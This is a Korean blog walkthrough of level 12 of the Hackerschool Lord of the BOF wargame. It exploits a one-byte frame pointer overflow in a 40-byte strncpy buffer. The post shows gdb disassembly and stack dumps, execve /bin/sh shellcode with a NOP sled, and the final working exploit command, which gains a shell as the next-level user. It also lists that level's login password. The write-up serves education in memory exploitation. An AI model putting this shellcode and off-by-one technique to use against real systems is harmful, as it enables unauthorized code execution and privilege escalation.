[해커스쿨 LOB] Level12: Golem >> Darkknight
두비니
·2020. 7. 31. 04:17
Level 12. Golem >> Darkknight
Theme: FPO
로그인
id : golem
pw : cup of coffee
bash2 & 코드확인
[golem@localhost golem]$ bash2
[golem@localhost golem]$ nl darkknight.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - darkknight
4 - FPO
5 */
6 #include <stdio.h>
7 #include <stdlib.h>
8 void problem_child(char *src)
9 {
10 char buffer[40];
11 strncpy(buffer, src, 41);
12 printf("%s\n", buffer);
13 }
14 main(int argc, char *argv[])
15 {
16 if(argc<2){
17 printf("argv error\n");
18 exit(0);
19 }
20 problem_child(argv[1]);
21 }
제한조건
1. argv는 2개 이상 입력
2. problem child >> strncpy때문에 41바이트만 입력 가능 *new!*
제한조건이 완전 줄어들었네요. 대신에 여태껏 이용한 ret를 덮어씌우던 방법인 단순한 buffer overflow는 사용할 수 없게 되었습니다.
이번 문제부터 본격적으로 공격기법들을 쓰게 됩니다. 공격기법에 대한 사전 공부는 필수입니다. 이번 문제 테마는 FPO, 즉 Frame Pointer Overflow입니다. 구글링을 해보거나 제가 쓴 글을 읽어보시길 바랍니다ㅎ 어디 글이든 좋으니 정말 제대로 이해를 하셔야 합니다.
FPO : https://dokhakdubini.tistory.com/228
자, FPO에 대한 이해가 되었다고 가정하고, 공격 시나리오를 구상해봅시다.
그래도 41바이트를 쓸 수 있기 때문에, problem_child()의 sfp를 1바이트 오버플로우 시킬 수 있고, 이걸로 ebp를 (buffer-4)로 변경시킨 후 buffer에 쉘코드의 주소를 넣는다면 main함수가 ret하면서 eip를 쉘코드의 주소로 바꿀 수 있겠죠? 이 점을 이용해 exploit하겠습니다.
[golem@localhost golem]$ cp darkknight darkknighl
[golem@localhost golem]$ gdb -q darkknighl
(gdb) set disassembly-flavor intel
(gdb) disas problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %ebp,%esp
0x8048443 <problem_child+3>: sub %esp,40
0x8048446 <problem_child+6>: push 41
0x8048448 <problem_child+8>: mov %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea %eax,[%ebp-40]
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add %esp,12
0x8048458 <problem_child+24>: lea %eax,[%ebp-40]
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push 0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add %esp,8
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
0x804846b <problem_child+43>: nop
End of assembler dump.
(gdb) b * problem_child+41
Breakpoint 1 at 0x8048469
main함수로 돌아가기 전 상황이 궁금한 것이기 때문에 problem_child+41에 breakpoint를 걸어줍니다.
그리고 41바이트를 입력시켰을때 어떻게 overwrite가 되는지 확인해봅시다.
(gdb) r `python -c 'print "A"*40+"\xaa"'`
Starting program: /home/golem/darkknighl `python -c 'print "A"*40+"\xaa"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒R▒▒▒▒▒▒▒ @
Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/100x $esp
0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae4: 0x41414141 0x41414141 0xbffffaaa 0x0804849e
0xbffffaf4: 0xbffffc52 0xbffffb18 0x400309cb 0x00000002
0xbffffb04: 0xbffffb44 0xbffffb50 0x40013868 0x00000002
0xbffffb14: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffffb24: 0x00000002 0xbffffb44 0x080482e4 0x080484dc
0xbffffb34: 0x4000ae60 0xbffffb3c 0x40013e90 0x00000002
0xbffffb44: 0xbffffc3b 0xbffffc52 0x00000000 0xbffffc7c
...(생략)
0xbffffae4: 0x41414141 0x41414141 0xbffffaaa 0x0804849e
보면 0xbffffaaa 가 sfp이고 다음 0x0804849e가 ret인걸 알 수 있겠죠?
이 상태에서 leave, ret가 실행이 된다면 ebp에는 0xbffffaaa가 pop되는 것이고, 0x0804849e가 eip에 pop되겠죠?
(gdb) x/i 0x0804849e
0x804849e <main+50>: add %esp,4
0x0804849e가 main함수의 instruction을 가리키고 있는 것을 보아, ret을 통해 main함수로 돌아갈 수 있음을 알 수 있습니다. (당연한 이야기이지만)
아무튼 여기서 중요한 것은 sfp값을 변경시킬 수 있다는 것입니다. ebp를 0xbffffa__ 중 아무 주소나 가리킬 수 있는 것이니, buffer 주변의 주소로도 충분히 접근이 가능하다는 이야기이겠죠? 그 뒤에 main함수의 함수 에필로그가 불러와지면서 buffer에 우리가 원하는 주소값(쉘코드의 주소겠죠?)으로 접근할 수 있게 되는겁니다.
따라서, buffer에 shellcode를 집어넣고, buffer의 주소로 FPO를 일으켜 exploit를 시킬것입니다. 그러면 payload는 다음과 같겠죠?
::payload::
`python -c 'print (shellcode주소)+"\x90"*11+ (shellcode; 25bytes) + (buffer주소-4의 마지막 바이트)'`
+) 자 이렇게해도 풀리긴하는데 이렇게하면 정확한 주소를 딱 맞춰야해서 삽질이 너무많이필요해요...(삽질 2시간함) 그래서 삽질을 최소한 줄이는 페이로드로 진행합니다. 물론 위에걸로해도 음... 할 수는 있습니다. 할거라면 화이팅^^7
`python -c 'print (shellcode주소; 4bytes)*10 + (buffer주소-4의 마지막 바이트; 1byte)'` `python -c 'print "\x90"*100+(shellcode; 25 bytes)'`
자 쉘코드를 굳이 argv[2]에 넣는 이유는
1) buffer에 집어넣으면 주소를 정확하게 맞춰야함
2) 1번이랑 같은소리긴한데, argv[2]에 넣어서 nop를 충분히 넣어주면 어느정도 주소에 오차가 생겨도 괜찮기때문에 속편히 풀이하기위해 위 페이로드를 사용하였습니다. 같은 이유로 buffer안에도 어차피 dummy값이 필요한거 shellcode의 주소로 가득 채웠습니다.
쉘코드는 다음과 같고
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
FPO시킬 주소는 직접 페이로드를 넣어 다시 확인해봅시다.
[golem@localhost golem]$ gdb -q darkknighl
(gdb) b * problem_child+41
Breakpoint 1 at 0x8048469
(gdb) r `python -c 'print "\xbf\xbf\xbf\xbf"*10 + "\xaa"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/golem/darkknighl `python -c 'print "\xbf\xbf\xbf\xbf"*10 + "\xaa"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ @
Breakpoint 1, 0x8048469 in problem_child ()
어셈분석은 생략합니다. problem_child+41은 leave를 실행하기 전입니다.
Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/48x $esp
0xbffffa44: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffa54: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffa64: 0xbfbfbfbf 0xbfbfbfbf 0xbffffaaa 0x0804849e
0xbffffa74: 0xbffffbd4 0xbffffa98 0x400309cb 0x00000003
0xbffffa84: 0xbffffac4 0xbffffad4 0x40013868 0x00000003
0xbffffa94: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffffaa4: 0x00000003 0xbffffac4 0x080482e4 0x080484dc
0xbffffab4: 0x4000ae60 0xbffffabc 0x40013e90 0x00000003
0xbffffac4: 0xbffffbbd 0xbffffbd4 0xbffffbfe 0x00000000
0xbffffad4: 0xbffffc7c 0xbffffc9e 0xbffffca8 0xbffffcb6
0xbffffae4: 0xbffffcd5 0xbffffce3 0xbffffcfc 0xbffffd17
0xbffffaf4: 0xbffffd36 0xbffffd41 0xbffffd4f 0xbffffd90
(gdb)
0xbffffb04: 0xbffffda1 0xbffffdb6 0xbffffdc6 0xbffffdd1
0xbffffb14: 0xbffffdee 0xbffffdf9 0xbffffe0a 0xbffffe1a
0xbffffb24: 0xbffffe22 0x00000000 0x00000003 0x08048034
0xbffffb34: 0x00000004 0x00000020 0x00000005 0x00000006
0xbffffb44: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffb54: 0x00000008 0x00000000 0x00000009 0x08048390
0xbffffb64: 0x0000000b 0x000001ff 0x0000000c 0x000001ff
0xbffffb74: 0x0000000d 0x000001ff 0x0000000e 0x000001ff
0xbffffb84: 0x00000010 0x0f8bfbff 0x0000000f 0xbffffbb8
0xbffffb94: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffba4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffbb4: 0x00000000 0x36383669 0x6f682f00 0x672f656d
(gdb)
0xbffffbc4: 0x6d656c6f 0x7261642f 0x696e6b6b 0x006c6867
0xbffffbd4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbe4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf
0xbffffbf4: 0xbfbfbfbf 0xbfbfbfbf 0x909000aa 0x90909090
0xbffffc04: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc14: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc24: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc34: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc44: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc54: 0x90909090 0x90909090 0x90909090 0xc0319090
0xbffffc64: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3
0xbffffc74: 0xb0c289e1 0x0080cd0b 0x5353454c 0x4e45504f
leave직전이니깐 당연히 esp는 buffer의 시작부분에 가있겠죠?
0xbffffaa4가 buffer의 시작주소라는 것을 알 수 있고, 저 밑에 0xbffffbd4부터가 argv[1]과 argv[2]가 시작하는걸 볼 수가 있네요. argv의 영역인지 아는거는 0xbffffbf4줄에 aa뒤에 \x00하나만 있고 바로 bfbf가 시작되는걸로 알 수 있습니다.
그럼 여기서 우리가 필요한 것은 buffer의 시작주소-4인 0xbffffaa0, 그리고 shellcode가 있는 주소인 0xbffffc14를 가져가겠습니다. (넉넉하게 nop있는곳으로 가져가는건 당연히 이해되죠?)
최종 페이로드입니다.
`python -c 'print "\x14\xfc\xff\xbf"*10 + "\x40"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[golem@localhost golem]$ ./darkknight `python -c 'print "\x14\xfc\xff\xbf"*10 + "\x40"'` `python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒@▒▒▒▒▒▒▒▒▒▒▒▒▒ @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
bash$
아주 좋아요~
앞으로의 문제는 모두 이렇게 진짜 그럴싸한 기법들을 사용하기 시작합니다. 이러한 기법들을 이해하는건 결국 메모리의 동작과정을 다 완벽하게 파악하고있어야 해요. 어려운건 당연한거니 너무 좌절하지 마시고, 여러번 반복해서 보고 모르겠는 부분은 질문하십쇼. 여기까지 온거 열심히합시다 화이링~~
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level14: Bugbear >> Giant (0) | 2020.08.02 |
---|---|
[해커스쿨 LOB] Level13: Darkknight >> Bugbear (0) | 2020.07.31 |
[해커스쿨 LOB] Level11: Skeleton >> Golem (0) | 2020.07.26 |
[해커스쿨 LOB] Level10: Vampire >> Skeleton (0) | 2020.07.26 |
[해커스쿨 LOB] Level9: Troll >> Vampire (0) | 2020.07.25 |